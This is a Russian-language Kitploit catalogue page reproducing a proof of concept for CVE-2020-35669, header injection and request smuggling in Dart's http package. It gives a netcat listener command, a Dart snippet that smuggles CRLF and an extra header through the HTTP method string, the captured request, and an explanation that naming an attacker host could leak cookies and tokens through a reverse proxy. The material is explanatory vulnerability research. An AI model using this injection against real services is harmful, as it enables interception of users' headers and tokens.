Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-35669 — Эксплойт, подтверждающий концепцию уязвимости CVE-2020-35669, демонстрирующий контрабанду HTTP-запросов и внедрение заголовков в пакете http языка Dart через манипулирование параметрами метода, что позволяет обходить обратный прокси и манипулировать заголовком Host. | Kitploit
Инструменты/GitHubGitHub/n0npax/cve-2020-35669
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Эксплойт, подтверждающий концепцию уязвимости CVE-2020-35669, демонстрирующий контрабанду HTTP-запросов и внедрение заголовков в пакете http языка Dart через манипулирование параметрами метода, что позволяет обходить обратный прокси и манипулировать заголовком Host.

Репозиторий
115 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-35669

тестовый сервер

пожалуйста, запустите тестовый сервер, используя первый терминал

root@kitploit:~
sudo nc -l 127.0.0.1 80 

примените приведенный diff

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

запустите тестовое приложение

пожалуйста, выполните main.dart во втором терминале

root@kitploit:~
dart run main.dart

результат

nc должен получить следующий запрос:

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

Важный фрагмент кода

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

Критический путь

Предполагая, что указанный выше diff не был применен, и пользователь находится за rev-proxy Был достигнут веб-сайт, обслуживаемый example.com.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Почему это угроза безопасности

Если разработчик использует Request для абстрагирования создания HTTP-вызовов и принимает параметр method от пользователя, пользователь может выполнять некоторые манипуляции, такие как внедрение заголовков или подмена пути. Это может быть использовано различными способами и кажется особенно важным в случае, когда присутствует обратный прокси-сервер. Прокси может просто передать запрос от кого-либо на любой хост на основе заголовка host. Предположим, я заменяю example.com на my-evil-uservice.org, и жертва работает в компании, находящейся за прокси. Это означает, что я могу перенаправлять вызовы с заголовками/cookies (токенами) и так далее. На основе этого может происходить перехват вызовов со всеми заголовками/cookies.

Скачать инструмент